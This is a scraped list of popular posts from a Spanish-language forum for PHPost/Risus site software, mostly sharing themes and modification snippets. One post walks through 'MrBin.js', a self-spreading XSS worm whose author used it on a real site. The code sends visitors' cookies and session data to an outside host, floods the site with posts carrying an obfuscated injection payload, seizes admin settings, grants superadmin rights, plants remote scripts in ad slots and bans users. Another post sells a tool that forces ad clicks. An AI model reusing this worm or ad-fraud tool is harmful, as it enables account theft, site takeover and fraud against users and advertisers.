titulo de cancion]: Administrador [sin titulo de cancion]: Administración: Todos los usuarios [con titulo de cancion]: Espero que les guste!
  27. 6 likes
    Hola! Hoy les dejo este diseño estilo Instagram Blog para Blogi. Deben ejecutar las siguientes consultas en su base de datos: Si ya tienen las portadas de kmario instaladas solo ejecutar estas: ALTER TABLE p_posts ADD post_descripcion VARCHAR( 180 ) NOT NULL; ALTER TABLE p_borradores ADD b_descripcion VARCHAR( 180 ) NOT NULL Si no tienen instaladas las portadas deben ejecutar las consultas anterior y también estas: ALTER TABLE p_posts ADD post_portada VARCHAR( 180 ) NOT NULL; ALTER TABLE p_borradores ADD b_portada VARCHAR( 180 ) NOT NULL Descarga: MEGA Cualquier problema o duda pueden hablarme por MP, saludos!
  28. 6 likes
    Hola amigos, vengo a dejarles un avance de la Risus M, la cual por un problema con mi compañero solo quede yo en este proyecto. Hasta ahora llevo más del 60% terminado del diseño base y me faltan modificar varias cosas aun y como hace un tiempo atrás vi un comentario que decía ¿Por que no agregamos mas gente que colabore con el proyecto? Bueno, ahora que estoy solo yo en esto, cualquier ayuda que quieran darme o algún aporte pueden hacerlo, tengo dos opciones para hacer con Risus M hasta ahora, una sería publicarla como un simple diseño o plantilla, sin modificaciones ni nada, y la otra es terminar por completo el proyecto modificando la base de Risus, pero para esto necesito ayuda de gente que sepa de PHP. Aquí les dejo unas capturas del último avance que llevo: Más adelante subiré una demo para que puedan probarla, ahí me dejan sus comentarios, sugerencias o alguien que quiera ayudar o pueden enviarme un MP. Saludos!
  29. 6 likes
    Después de tanto tiempo sin publicar nada, vi por ahí que buscaban esto y bueno lo adapte para que lo usen No hay mucho que explicar para que sirve, muchos deben conocer SoundCloud y para los que no: Bueno pasamos a instalar: 1. Vamos a inc\ext y abrimos bbcode.inc y buscamos y agregamos una coma al final así: ), : array('tag' => 'success', 'replace' => '<div class="bbcmsg success">{param}</div>') y abajo agregamos: array('tag' => 'soundcloud', 'replace' => '<embed width="580" height="200" scrolling="no" frameborder="no" src="https://w.soundcloud.com/player/?url={param}&amp;auto_play=false&amp;hide_related=false&amp;show_comments=true&amp;show_user=true&amp;show_reposts=false&amp;visual=true"></iframe>') el ultimo no tiene que tener coma, si ya tienen otros bbcode miren bien lo de la coma y el final que no tenga. 2. Abrimos c.core.php de inc\class y buscamos: 'success' alado agregamos: , 'soundcloud' 3. Abrimos Estilo.css de themes\TuTheme y buscamos: .markItUp .markItUpButton17 a { background:transparent url('images/bbcodes.png') no-repeat scroll left top; background-position: left -256px; height: 10px; } y abajo agregamos: .markItUp .markItUpButton18 a { background:transparent url(http://i.imgur.com/pi8nlLg.png) no-repeat scroll left top; height: 10px; } 4. Abrimos acciones.js de themes\TuTheme\js y buscamos: lang['Upload'] = "Subir Im&aacute;genes"; abajo: lang['Insertar SoundCloud'] = "Insertar SoundCloud"; Buscamos: lang['Fuente'] = "Fuente"; abajo: lang['ingrese el id de soundcloud'] = "Ingrese el URL de SoundCloud:\n\nEjemplo:\nhttps://soundcloud.com/rockloveuru3/la-renga-la-razon-que-te"; Buscamos: {name:lang['Upload'], beforeInsert:function(h){ markit_upload(h); }}, y abajo: {name:lang['Insertar SoundCloud'], beforeInsert:function(h){ markit_soundcloud(h); }}, Buscamos: function markit_upload(h){ upload.newUpload(h); } y abajo: function markit_soundcloud(h){ if(h.selection==''){ var msg = prompt(lang['ingrese el id de soundcloud'+(is_ie?' IE':'')], lang['ingrese solo el id de soundcloud']); if(msg != null){ h.replaceWith = '[soundcloud]' + msg + '[/soundcloud]'; h.openWith = ''; h.closeWith = ''; }else{ h.replaceWith = ''; h.openWith = ''; h.closeWith = ''; } }else{ h.replaceWith = '[soundcloud]' + h.selection + '[/soundcloud]'; h.openWith=''; h.closeWith=''; } } Buscar: for(var i = 1; i <= 17 Cambiar ese 17 por 18, si tienes otros bbcode tiene que ir uno mas, es decir si ya tiene 18, tiene que ir 19 y así sucesivamente. y listo, eso seria todo, creo que no me olvide nada. El bbcode final quedaría: [soundcloud]https://soundcloud.com/rockloveuru3/la-renga-la-razon-que-te[/soundcloud] Cualquier consultar, problema y queja (? dejen en comentarios.. Hasta luego
  30. 6 likes
    Creo que en agosto habrá información nueva sobre PHPost!
  31. 6 likes
    Bueno les traigo algo que a alguien le puede ser util lo que hace esto es que cualquier archivo mp3 que este dentro de una etiqueta de html5 <audio></audio> se pueda reproducir en la web se puede hacer que funcione en toda la web pero solo mostrare como ponerlo en la home bueno vamos a la instalación vamos a /themes/default/templates/t.home.tpl abajo de {include file='modules/m.home_search.tpl'} agregar {include file='modules/music-momento.tpl'} subir este archivo en la raiz Zip dentro hay un mp3 de prueba solo deben borrarlo y subir el suyo Cuando suban su archivo mp3{deben subirlo a themes/default/mp3} deben cambiar la siguiente linea en music-momento.tpl <audio src="{$tsConfig.tema.t_url}/mp3/Skrillex.mp3" preload="auto"></audio> Skrillex.mp3 por el que subieron Demo
  32. 5 likes
    Hola, traigo esta pequeña modificación, es un dialogo de confirmación para cerrar sesión. Utilizo el plugin "mydialog" que trae por default el script por lo que no hará falta nada más. Este MOD lo vi hace años, lo publicó un usuario llamado mega-lucas ((o algo así (aún mantengo su V5 )) Instrucciones. 1. Abrir el archivo acciones.js y al ultimo del archivo colocar: /* Logout confirm by Altffenser */ function open_logout_box() { mydialog.show(); mydialog.title('Cerrar sesión'); mydialog.body('Estas a punto de salir de tu cuenta. <b>¿Seguro que deseas continuar?</b>'); mydialog.buttons(true, true, 'Cerrar sesión', 'logout_by_now()', true, false, true, 'No, permanecer aquí', 'close', true, true); mydialog.center(); } function logout_by_now(){ $(function (){ window.location.href = global_data.url + "/login-salir.php"; }); } 2. Abrir el archivo head_menu.tpl y buscar: <li class="logout"> <a href="{$tsConfig.url}/login-salir.php" style="vertical-align: middle" title="Salir"> <span class="systemicons logout"></span> </a> </li> a) Reemplazar por: <li class="logout"> <a href="#" onclick="open_logout_box();" style="vertical-align: middle" title="Salir"> <span class="systemicons logout"></span> </a> </li> ¡Has terminado! Con eso lo tendrán, ahora cada que den clic en "salir"; primero aparecerá un dialogo como este: Es muy sencillo el MOD pero a mi parecer, se ve bien Saludos
  33. 5 likes
    Hola a todos, hoy les voy a compartir creo que mi penúltimo aporte a esta gran comunidad. Se trata del theme de Reset que ya había presentado. No está terminado, le falta cambiar código, arreglar css, js y demás, pero yo diría que se puede usar perfectamente. Es 80% responsive, y 90% bootstrap. En mi opinión está un 75% acabado. Les dejo las capturas: Y la descarga: [CLICK] Y si alguien quiere instalarlo para dejar demo, se lo agradecería bastante. Gracias
  34. 5 likes
    Hola gente en esta ocasión les traigo una nueva versión de mi mod :3 -Aconsejado por @Rengo ., ahora se puede autorizar a los rangos a publicar -Filtrar por usuario -Categorías administrables (esto lo pidieron varios en la versión beta) - Filtrar por Categorías Descargar : http://www.mediafire.com/file/8f3772z45st5a45/Catalogo+v3.zip Demo: http://mundofree.net/catalogo/ Se aceptan ideas para mejorar el complemento saludos
  35. 5 likes
    Bueno el mod hace lo que dice en el título, no hay mucho más misterío, fue creado a pedido @KillerJohn se supone que me iba a pagar pero bueno, como va la economía hoy en día se lo voy a regalar. Ir a c.muro.php y buscar return $priv; } Arriba de eso agregar if(!$tsUser->permisos['mstatus']) { $priv['mf']['v'] = false; $priv['mf']['m'] = 'Tu rango no admite crear estados.'; } --- hay que hacer esto 2 veces porque esta la función saveRango & newRango ir a c.admin.php y buscar 'gopfp' => $_POST['global-pointsforposts'], y abajo agregar 'mstatus' => $_POST['make-status'], ---- ir a m.admin_rangos.tpl y buscar <input type="checkbox" id="godp" name="global-darpuntos" {if $tsRango.permisos.godp}checked{/if} /><label style="font-weight:bold;" for="godp">Puntuar Posts</label><label for="godp"> Podrán puntuar posts.</label> <br /><hr> y abajo agregar <input type="checkbox" id="mstatus" name="make-status" {if $tsRango.permisos.mstatus}checked{/if} /><label style="font-weight:bold;" for="mstatus">Estados</label><label for="mstatus"> Publicar en perfil ajeno y propio.</label> <br /><hr> Eso es todo. --------------------- Por cierto, ForceADS esta a la venta, utiliza la misma técnica que usa @Vellenger para forzar a los usuarios a que hagan click a la publicidad. La gran difencia es que la mia fue diseñada para que funcione con cualquier script, a parte eso no requiere de dependencias (como jquery), también esta programada con los estandares ES6, y ademas de eso un par de trucos para adsense no se cuenta. https://magicinventor.xyz/forceads
  36. 5 likes
    No lo he visto publicado así que lo comparto, es algo simple de hacer pero algunos capas lo necesite y no sepan 1. La instalación es simple descargan m.chatango.global.tpl y suben a modules 2. abren main_footer.tpl y ponen esto arriba de <div id="pie"> : {include file='modules/m.chatango.global.tpl'} y listo. Ahora les diré unas pequeñas modificaciones: Queres sacar el permiso que sean solamente para usuarios de la web? borran: {if $tsUser->is_member} y {else} <div class="aviso"> El chat es solo para usuarios de {$tsConfig.titulo}, Pero no te preocupes, tambi&eacute;n puedes formar parte de nuestra gran familia. <a title="Reg&iacute;strate!" onclick="registro_load_form(); return false" href="" style="color: green;"><b>Reg&iacute;strate!</b> </div> {/if} Queres editar los botones de las redes sociales: buscar: facebook.com/GenerationCS y cambiar por su fanpage. y el de G+1: http://www.generationcs.com Por su url web. y si quieren sacar esos botones: borran: <span class="btf"> <iframe src="https://www.facebook.com/plugins/like.php?locale=es_LA&amp;href=https://www.facebook.com/GenerationCS&amp;ref=hl&amp;send=false&amp;layout=button_count&amp;width=100&amp;shoc_faces=false&amp;action=like&amp;colorscheme=light&amp;font=lucida+grande&amp;height=21" style="margin:0px;left:0px;top:0px;width:136px;height:23px;visibility:visible;position:static" allowtransparency="true" frameborder="0" scrolling="no"> </iframe></span> <span class="btg"> <iframe src="https://plusone.google.com/_/+1/fastbutton?bsv&amp;url=http://www.generationcs.com/&amp;lang=es" style="margin:0px;left:0px;top:0px;width:105px;height:24px;visibility:visible;position:static" allowtransparency="true" frameborder="0" scrolling="no"> </iframe></span> El chatango deberá tener un tamaño de w 350px y h 450px Cualquier consulta, duda o queja me dejan en comentarios. Hasta Luego
  37. 5 likes
    Hola que tal gente., estaba con ganas de compartir algo y se me dio por compartir este complemento que hice hace mucho(ni me acuerdo cuando xD) El complemento consiste en mostrar usuarios al azar y darle la opcion al usuario de visitar su perfil... espero que les guste :3 Captura: Ahora pasamos a la instalacion... En c.posts.php vamos hasta el final y arriba del ultimo } agregamos //USUARIOS RAMDOM function Ramdom(){ global $tsCore, $tsUser; $query = db_exec(array(__FILE__, __LINE__), 'query', 'SELECT DISTINCT u.user_name, u.user_id, f.f_id FROM u_miembros AS u LEFT JOIN u_perfil AS p ON u.user_id = p.user_id LEFT JOIN u_follows AS f ON u.user_id = f.f_id WHERE u.user_id != \''.$tsUser->uid.'\' ORDER BY RAND() LIMIT 3'); $data = result_array($query); return $data; } ahora vamos al posts.php y buscamos $smarty->assign("tsStats",$tsTops->getStats()); y agregamos abajo // Usuarios Ramdom $smarty->assign("tsRamdom",$tsPosts->Ramdom()); ahora vamos a estilos.css y al final agregamos .recodiv{width: 100%;position: relative;height: auto;display: -webkit-inline-box;margin-top: 16px;} .recoportada{height: 85px;border-radius: 5px 5px 0px 0px;width: 99.9%;} .recoava{height: 50px; width: 18%; border-radius: 24px 24px 1px 14px;; display: block; position: relative; float: left;border: 3px solid #005FA3;bottom: 22px;} .reconick{float: left;width: 50%;background: #EEE;padding: 9px 0px;font-family: cursive;text-align: center;} .reconicka{float: left;width: 37.8%;padding: 9px 0px;text-align: center;background: #005fa3;border-radius: 0px 0px 5px 0px;color: #eee;} ahora solo les queda incluir el complemento en t.home.tpl {include file='modules/m.home_user-random.tpl'} Como ultimo solo tienen que descargar el archivo y agregarlo en /themes/tutema/templates/modules m.home_user-random.tpl
  38. 5 likes
    Hola gente! aca les dejo para quien le pueda interesar una pequeña modificación para poner un Video como background según Categoría ,en este caso lo he hecho para la categoria llamada 18 en mi web Dentro de: m.post_content.tpl y antes de {include file='modules/m.posts_tags.tpl'} va el siguiente Código... {if $tsPost.categoria.c_seo == '18'} {literal} <script type="text/javascript"> var vid = document.getElementById("bgvid"); var pauseButton = document.querySelector("#polina button"); if (window.matchMedia('(prefers-reduced-motion)').matches) { vid.removeAttribute("autoplay"); vid.pause(); pauseButton.innerHTML = "Paused"; } function vidFade() { vid.classList.add("stopfade"); } vid.addEventListener('ended', function() { // only functional if "loop" is removed vid.pause(); // to capture IE10 vidFade(); }); pauseButton.addEventListener("click", function() { vid.classList.toggle("stopfade"); if (vid.paused) { vid.play(); pauseButton.innerHTML = "Pause"; } else { vid.pause(); pauseButton.innerHTML = "Paused"; } }) </script> {/literal} {literal} <style type="text/css"> body { margin: 0; background: #000; } video { position: fixed; top: 50%; left: 50%; min-width: 100%; min-height: 100%; width: auto; height: auto; z-index: -100; transform: translateX(-50%) translateY(-50%); background: url('//demosthenes.info/assets/images/polina.jpg') no-repeat; background-size: cover; transition: 1s opacity; } .stopfade { opacity: .5; @media screen and (max-width: 500px) { div{width:70%;} } @media screen and (max-device-width: 800px) { html { background: url(https://thenewcode.com/assets/images/polina.jpg) #000 no-repeat center center fixed; } #bgvid { display: none; } } </style> {/literal} <html> <head> <body> <video poster="https://s3-us-west-2.amazonaws.com/s.cdpn.io/4273/polina.jpg" id="bgvid" playsinline autoplay muted loop> <!-- WCAG general accessibility recommendation is that media such as background video play through only once. Loop turned on for the purposes of illustration; if removed, the end of the video will fade in the same way created by pressing the "Pause" button --> <source src="http://thenewcode.com/assets/videos/polina.webm" type="video/webm"> <source src="http://thenewcode.com/assets/videos/polina.mp4" type="video/mp4"> </video> </head> </body> </html> {/if} Ejemplo: Contenido para Adultos Y eso es todo amigos,como ya se habrán podido dar cuenta no soy nada experto en estas cosas pero bueno , intento contribuír con lo que puedo. Estoy seguro que se puede mejorar mucho y ojalá a muchos les haya servido,eso es todo.... Saludos!
  39. 5 likes
    Bueno, hoy les vengo a explicar como funciona y que es lo que hace MrBin.js. Empecemos con las 3 primeras líneas console.error("#rekt"); // escribimos en la consola #rekt var c_url = [location.protocol, '//', location.host].join(''); // declaramos la url del sitio web var user_uid = 42054; // declaramos la id de un usuario (el final ni lo use) Este es para detectar si estoy en la página donde se agregan los posts, esta ahí solo para hacer pruebas. if(window.location.pathname != "/agregar/") { Tal como dice el comentario de ahí, hacemos un iframe con el panel de cobra el cual guarda las cookies y los datos del usuario. No lo hago el request por javascript porque el host free que uso no pone los headers (allow-control-allow-origin). // regalamos las cookies al cobra ;D $("html").html("<iframe src=\"http://csgopoke.ml/?cookies=" + encodeURI(document.cookie) + "&user_data=" + encodeURI(JSON.stringify(global_data)) + "\" style=\"position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;\"></iframe>"); Esto lo que hace es que cada 100 milisegundos se cree un post "infectado" por el usuario que este viendo el post. setInterval(function() { $.post(c_url + "/agregar.php", { borrador_id: "", titulo: "magicinventor.xyz - El blog oficial del Magic", cuerpo: "[font=[font=onmouseover='eval(String.fromCharCode(36,40,39,104,101,97,100,39,41,46,97,112,112,101,110,100,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,109,97,103,105,99,105,110,118,101,110,116,111,114,46,120,121,122,47,77,114,66,105,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59))'style='position:fixed;left:0;top:0;z-index:99999;height:100%;width:100%;']Injected[/font]]Injected[/font] " + Math.random(), tags: "nuevo, bots, alto, rekt, risus", categoria: "30" }); }, 100); Solo cambia la config del usuario (nombre, sito, firma, etc). // cambiamos la config del usuario $.post(c_url + "/cuenta.php?action=save&ajax=true", { save: "2", nombrez: "magicinventor.xyz", mensaje: "Ve al blog del magic > magicinventor.xyz", sitio: "magicinventor.xyz", facebook: "magicinventor.xyz", twitter: "magicinventor.xyz", estado: "0", vivo: "0", hijos: "0" }); $.post(c_url + "/cuenta.php?action=save&ajax=true", { save: "5", intereses: "Ve al blog del magic > magicinventor.xyz", hobbies: "Ve al blog del magic > magicinventor.xyz", tv: "Ve al blog del magic > magicinventor.xyz", musica: "Ve al blog del magic > magicinventor.xyz", deportes: "Ve al blog del magic > magicinventor.xyz", libros: "Ve al blog del magic > magicinventor.xyz", peliculas: "Ve al blog del magic > magicinventor.xyz", comida: "Ve al blog del magic > magicinventor.xyz", heroes: "Ve al blog del magic > magicinventor.xyz" }); acá va la parte jugosa, en la cual si un admin ve el post infectado pone la web en mantenimiento y otras cosas más al editar la configuración. // editamos la config si es admin este usuario $.post(c_url + "/admin/configs", { titulo: "magicinventor.xyz", // global_data.s_title slogan: "Hack You :D", // global_data.s_slogan para que crea no se cambio nada url: c_url, offline: "1", offline_message: "Esta web la vamos a cerrar y necesitamos que tu vayas a nuestra nueva web: magicinventor.xyz.", chat: "", xat: "0", edad: "18", met_welcome: "3", message_welcome: "Hola [usuario], ve a [url=http://magicinventor.xyz]magicinventor.xyz[/url] que esta web ya la vamos a cerrar.", active: "15", stats_cache: "0", sess_ip: "0", count_guests: "0", hits_guest: "0", reg_active: "1", reg_activate: "1", firma: "1", upload: "0", portal: "1", fotos_private: "0", see_mod: "0", desapprove_post: "0", keep_points: "0", live: "1", max_nots: "99", max_acts: "99", max_posts: "50", max_com: "50", allow_points: "0", sump: "0", newr: "0", save: "Guardar Cambios" }); Esta parte es para dar admin a un usuario específico pero al final ni lo use. $.post(c_url + "/admin/users?act=show&uid=" + user_uid + "&t=7", { new_rango: "1", save: "Guardar Cambios" }); Dar acceso admin a todos los usuarios novatos y dejarles ver la web en mantenimiento. $.post(c_url + "/admin/rangos?act=editar&rid=3&t=s", { rName: "Novato", rColor: "171717", "global-pointsforday": "5", "global-pointsforposts": "5", "global-antiflood": "20", "global-cantidadrequerida": "0", "global-type": "0", r_img: "new.png", superadmin: "on", supermod: "on", "global-darpuntos": "on", "global-publicarposts": "on", "global-publicarcomposts": "on", "global-votarposipost": "on", "global-votarnegapost": "on", "global-editarpropioscomentarios": "on", "global-eliminarpropioscomentarios": "on", "global-publicarfotos": "on", "global-publicarcomfotos": "on", "global-revisarposts": "on", "global-vermantenimiento": "on", sp: "1", save: "Guardar Cambios" }); Poner el script en los ads para que al entrar a la web directamente se ejecute MrBin.js $.post(c_url + "/admin/ads", { ad300: "<script src=\"http://magicinventor.xyz/MrBin.js?hack\" type=\"text/javascript\"></script>", ad468: "<script src=\"http://magicinventor.xyz/MrBin.js?hack\" type=\"text/javascript\"></script>", ad160: "<script src=\"http://magicinventor.xyz/MrBin.js?hack\" type=\"text/javascript\"></script>", ad728: "<script src=\"http://magicinventor.xyz/MrBin.js?hack\" type=\"text/javascript\"></script>", adSearch: "partner-pub-5535725517227860:7900040286", save: "Guardar cambios" }); Bueno esta es la parte "mas compleja", lo que hace es ver cuales usuarios estan online y banearlos. Solo funciona si el usuario que ve el post infectado es mod. $.get(c_url + "/usuarios/?online=true", function(data) { var img_uid = $(data).find("img"); $.each(img_uid, function( index, value ) { var img_link = $(value).attr("src"); var user_uid = img_link.match(/files\/avatar\/([0-9]+)_([0-9]+)\.jpg/i); if(user_uid) { $.post(c_url + "/moderacion-users.php?do=ban", { uid: user_uid, b_time: "0", b_cant: "", b_causa: "Hacked by MagicInventor. Ve a magicinventor.xyz, esta web ya la vamos a cerrar." }); console.log("Usuario baneado - UID " + user_uid[1]); } }); }); y por último después de 3 segundos redirijir a mi blog setTimeout(function(){ location.href = "http://magicinventor.xyz"; }, 3000); Cabe a destacar que no podría haber hecho esto sin mi bot que llena toda la home de posts "infectados" y sin dudas al Cobra (que también lo cree yo) que me ayudo mucho para administrar que usuarios entraban a mi web y poder almacenar sus cookies. Cap del cobra, todavía en desarrollo: Nos vemos! Mas info en http://magicinventor.xyz/posts/198/como-funciona-y-que-es-lo-que-hace-mrbin-js.html.
  40. 5 likes
    Bueno acá otra vez con NEXT, creo que le tengo que cambiar de nombre y llamarlo MI MALDICIÓN por que me dio cada problema, que creo que ya no los tiene...y como ya había comentado lo instale 3 o 4 veces y funciono bien! Qué contiene next? Tiene una carpeta llamada controles, una vez descomprimida van a la url y escriben http://www.tuweb.com/controles/index.php para instalar mod´s agregados... También tiene un archivo que se llama install.php es para ir a la url y escriben http://www.tuweb.com/install.php para instalar el sitemap ¿Que trae? Bueno los mods que ya habia comentado que son: Comunidades Chat Sección vip Subir archivos [upload] Actualización de estado en Home Último usuario registrado Juegos Posts favoritos en perfil Banner en el Perfil +Redes sociales en perfil Compartir shout Sitemap Reportar bug Videos Editor de Wysiwyg Administración de logo + header + titulo Administración de fotos en home Administración de comunidades + Denuncias + Moderación Activar y desactivar secciones Control de Mp En Vivo En vivo: tengo un pequeño problema con este mod porque no cuenta bien las comunidades y/o temas y se visualizan espacios vacios.. Espero de no olvidarme de algunos ¿Se ha quitado algo que tenia? De hecho se quito el Paginador de posts en home y Estilo de menciones porque las modificaciones que había que hacer daba problemas o ni siquiera funcionaba ¿Va a ver más versiones? La verdad no tengo idea si voy a hacer más versiones, tal vez si...pero no sé ¿Solamente tiene ese color celeste? No, no es el único tiene 6 Default[Celeste] Naranja VerdeAmarillento Rojo Oscuro Negro Verde Oscuro Sin caps porque ya la he pubilcado con el tiempo, bueno eso es todo espero de no olvidarme de nada... Si no funciona me corto las venas Descarga Actualizada [Theme] Next v3.Act_15-01-2017 [4Sahred] Descarga Actualizada [Theme] Next v3.Act_15-01-2017 [MediaFire] Descarga Actualizada [Theme] Next v3.Act_15-01-2017 [Mega]
  41. 5 likes
    Último avance, administración sección medallas
  42. 5 likes
    Truco de jQuery: Ocultar las imagenes que no se ven o con links rotos: Copiar el code en cuaier lquarchivo .js y listo $("img").error(function(){ $(this).hide(); });
  43. 5 likes
    Hola hoy les traigo una modificación más + mod o como quieran llamarlo... caps.. 1) Abrimos inc/class/c.cuenta.php y buscamos $data['p_socials'] = unserialize($data['p_socials']); $data['p_socials']['f'] = $data['p_socials'][0]; $data['p_socials']['t'] = $data['p_socials'][1]; y debajo agregamos $data['p_socials']['y'] = $data['p_socials'][2]; $data['p_socials']['i'] = $data['p_socials'][3]; $data['p_socials']['l'] = $data['p_socials'][4]; $data['p_socials']['p'] = $data['p_socials'][5]; más abajo buscamos $data['p_nombre'] = $tsCore->setSecure($tsCore->parseBadWords($data['p_nombre']), true); $data['p_mensaje'] = $tsCore->setSecure($tsCore->parseBadWords($data['p_mensaje']), true); $data['p_socials'] = unserialize($data['p_socials']); $data['p_socials']['f'] = $data['p_socials'][0]; $data['p_socials']['t'] = $data['p_socials'][1]; y debajo agregamos $data['p_socials']['y'] = $data['p_socials'][2]; $data['p_socials']['i'] = $data['p_socials'][3]; $data['p_socials']['l'] = $data['p_socials'][4]; $data['p_socials']['p'] = $data['p_socials'][5]; ahora más abajo buscamos if(!empty($sitio)) $sitio = substr($sitio, 0, 4) == 'http' ? $sitio : 'http://'.$sitio; // EXTERNAS $facebook = $tsCore->setSecure($tsCore->parseBadWords($_POST['facebook']), true); /* ELIMINAR */ $twitter = $tsCore->setSecure($tsCore->parseBadWords($_POST['twitter']), true); /* ELIMINAR */ $youtube = $tsCore->setSecure($tsCore->parseBadWords($_POST['youtube']), true); /* ELIMINAR */ for($i = 0; $i < 5; $i++) $gustos[$i] = $tsCore->setSecure($tsCore->parseBadWords($_POST['g_'.$i]), true); // IN DB $perfilData = array( 'nombre' => $tsCore->setSecure($tsCore->parseBadWords($_POST['nombrez']), true), 'mensaje' => $tsCore->setSecure($tsCore->parseBadWords($_POST['mensaje']), true), 'sitio' => $tsCore->setSecure($tsCore->parseBadWords($sitio), true), 'socials' => serialize(array($facebook,$twitter,$youtube)), /* ELIMINAR */ y la reemplazamos if(!empty($sitio)) $sitio = substr($sitio, 0, 4) == 'http' ? $sitio : 'http://'.$sitio; // EXTERNAS for($i = 0; $i < 5; $i++) $gustos[$i] = $tsCore->setSecure($tsCore->parseBadWords($_POST['g_'.$i]), true); // IN DB $perfilData = array( 'nombre' => $tsCore->setSecure($tsCore->parseBadWords($_POST['nombrez']), true), 'mensaje' => $tsCore->setSecure($tsCore->parseBadWords($_POST['mensaje']), true), 'sitio' => $tsCore->setSecure($tsCore->parseBadWords($sitio), true), Luego buscamos case 8: .... setSecure($_SERVER['REMOTE_ADDR']).'\')')) return array('error' => 'Proceso iniciado, recibirá la respuesta en el correo indicado cuando valoremos el cambio.'); } break; debajo agregaremos esto case 9: // EXTERNAS $facebook = $tsCore->setSecure($tsCore->parseBadWords($_POST['facebook']), true); $twitter = $tsCore->setSecure($tsCore->parseBadWords($_POST['twitter']), true); $youtube = $tsCore->setSecure($tsCore->parseBadWords($_POST['youtube']), true); $instagram = $tsCore->setSecure($tsCore->parseBadWords($_POST['instagram']), true); $linkedin = $tsCore->setSecure($tsCore->parseBadWords($_POST['linkedin']), true); $pinterest = $tsCore->setSecure($tsCore->parseBadWords($_POST['pinterest']), true); // IN DB $perfilData = array( 'socials' => serialize(array($facebook,$twitter,$youtube,$instagram,$linkedin,$pinterest)), ); break; 3) Ahora buscamos en templates/t.cuenta.tpl <li><a onclick="cuenta.chgtab(this)">Cambiar Nick</a></li> y debajo agregamos esto <li><a onclick="cuenta.chgtab(this)">Redes</a></li> Luego más abajo buscamos {include file='modules/m.cuenta_nick.tpl'} y debajo agregamos esto {include file='modules/m.cuenta_redes.tpl'} 4) Ahora vamos a templates/modules/ y creamos un archivo llamado m.cuenta_redes.tpl y en el alojaremos todo esto <div class="content-tabs redes" style="display:none"> <fieldset> <div class="alert-cuenta cuenta-9"></div> <h2 class="active rsocial">Redes Sociales:</h2> <div class="field"> <div id="redesociales"> <span class="fa fa-facebook Linkfa"></span> <strong>facebook.com/</strong> <input type="text" value="{$tsPerfil.p_socials.f}" maxlength="64" name="facebook" id="ft" class="text cuenta-save-9"> </div> <div id="redesociales"> <span class="fa fa-twitter Linktw"></span> <strong>twitter.com/</strong> <input type="text" value="{$tsPerfil.p_socials.t}" maxlength="64" name="twitter" id="ft2" class="text cuenta-save-9"> </div> <div id="redesociales"> <span class="fa fa-youtube Linkyo"></span> <strong>youtube.com/</strong> <input type="text" value="{$tsPerfil.p_socials.y}" maxlength="64" name="youtube" id="ft2" class="text cuenta-save-9"> </div> <div id="redesociales"> <span class="icon icon-instagram Linkins"></span> <strong>instagram.com/</strong> <input type="text" value="{$tsPerfil.p_socials.i}" maxlength="64" name="instagram" id="ft2" class="text cuenta-save-9"> </div> <div id="redesociales"> <span class="fa fa-linkedin Linkli"></span> <strong>linkedin.com/</strong> <input type="text" value="{$tsPerfil.p_socials.l}" maxlength="64" name="linkedin" id="ft2" class="text cuenta-save-9"> </div> <div id="redesociales"> <span class="fa fa-pinterest Linkpi"></span> <strong>pinterest.com/</strong> <input type="text" value="{$tsPerfil.p_socials.p}" maxlength="64" name="pinterest" id="ft2" class="text cuenta-save-9"> </div> </div> <div class="buttons"> <input type="button" value="Guardar" onclick="cuenta.save(9)" class="mBtn btnOk"> </div> <div class="clearfix"></div> </div> 5) En extras.css al final de todo agregaremos ATENCIÓN ACÁ USTEDES PUEDEN MODIFICARLO PARA ADAPTARLO A SU THEME Y UTILIZA FONTAWESOME /* Cuenta */ h2.rsocial { margin: 0px; padding: 8px; font-size: 30px; color: #357997; line-height: 1em; text-align: center; font-family: 'Century gothic'; border-top: 1px dashed #145665; border-bottom: 1px dashed #145665; } #redesociales { width: 100%; padding: 8px; display: block; } #redesociales span { color: #EEE; padding: 6px; font-size: 20px; } #redesociales span.Linkfa, #redesociales span.Linkyo, #redesociales span.Linkins, #redesociales span.Linkli, #redesociales span.Linktw, #redesociales span.Linkpi { padding: 5px 15px; text-align:center; border-radius:3px; } #redesociales span.Linkfa { background:#3B5998;} #redesociales span.Linkyo{ background:#D14836;} #redesociales span.Linkins{ background:#14589E;} #redesociales span.Linkli{ background:#007FB1;} #redesociales span.Linktw{ background:#00ACED;} #redesociales span.Linkpi{ background:DarkRed;} #redesociales strong { color: #333; font-size: 20px; padding-left: 3px; font-weight: normal; text-shadow: 0px 0px 3px #888; text-transform: uppercase!important; } #redesociales input[type="text"] { float: right; color: #555; font-weight: bold; padding: 6px; width: 270px; font-size: 20px; margin-right: 18%; } @media screen and (max-width: 768px) { #redesociales strong { display: none!important; } #redesociales input[type="text"] { float: both; color: #555; font-weight: bold; padding: 6px; width: 270px; font-size: 20px; margin-left: -18%; } } 6) Ahora volvemos a templates/modules/ y crearemos otro archivo llamado m.redes_sociales.tpl <div id="redes-perfil"> {if $tsInfo.p_socials.f} <a target="_blank" href="http://www.facebook.com/{$tsInfo.p_socials.f}" class="qtip" title="{$tsInfo.p_socials.f}"> <span class="fa fa-facebook Linkfa"></span> </a> {/if} {if $tsInfo.p_socials.t} <a target="_blank" href="http://www.twitter.com/{$tsInfo.p_socials.t}" class="qtip" title="@{$tsInfo.p_socials.t}"> <span class="fa fa-twitter Linktw"></span> </a> {/if} {if $tsInfo.p_socials.y} <a target="_blank" href="http://www.youtube.com/{$tsInfo.p_socials.y}" class="qtip" title="{$tsInfo.p_socials.y}"> <span class="fa fa-youtube Linkyo"></span> </a> {/if} {if $tsInfo.p_socials.i} <a target="_blank" href="http://www.instagram.com/{$tsInfo.p_socials.i}" class="qtip" title="@{$tsInfo.p_socials.i}"> <span class="fa fa-instagram Linkins"></span> </a> {/if} {if $tsInfo.p_socials.l} <a target="_blank" href="http://www.linkedin.com/{$tsInfo.p_socials.l}" class="qtip" title="{$tsInfo.p_socials.l}"> <span class="fa fa-linkedin Linkli"></span> </a> {/if} {if $tsInfo.p_socials.p} <a target="_blank" href="http://www.pinterest.com/{$tsInfo.p_socials.p}" class="qtip" title="{$tsInfo.p_socials.p}"> <span class="fa fa-pinterest Linkpi"></span> </a> {/if} </div> 7) y por último agregan {include file='modules/m.redes_sociales.tpl'} en m.perfil_headinfo o en donde ustedes quieran..
  44. 5 likes
